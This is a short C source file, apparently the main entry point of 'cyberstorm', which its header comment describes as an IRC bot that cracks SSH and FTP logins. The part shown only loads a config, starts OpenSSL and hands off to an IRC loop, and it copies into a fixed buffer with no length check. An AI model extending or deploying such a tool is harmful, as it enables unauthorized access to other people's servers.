// cyberstorm v0.1 - by X-N2O
// Sun 29 Nov 2009, 15:42:30
// proper IRC bot that cracks SSH, FTP and whatnot

#include "includes.h"

char *get_defcfg()
{
	static char defcfg[BUFSIZ+1] = { 0, };

	if(defcfg[0] == 0) {
		strcpy(defcfg, getenv("HOME"));
		strcat(defcfg, DEFCFG_FILE);
	}

	return defcfg;
}

void init()
{
	SSL_load_error_strings();
	SSL_library_init();
}

int main(int argc, char *argv[])
{
	char *cfgfile;
	irc_cfg_t icfg;

	init();
	if(argc >= 2) cfgfile = argv[1];
	else cfgfile = get_defcfg();

	if(cs_load_config(cfgfile, &icfg) == false)
		return EXIT_FAILURE;
	irc_proc(&icfg);
	if(cs_save_config(cfgfile, &icfg) == false) {
		free(icfg.authlist);
		free_cfg(icfg.head);
		return EXIT_FAILURE;
	}
	free(icfg.authlist);
	free_cfg(icfg.head);

	return EXIT_SUCCESS;
}
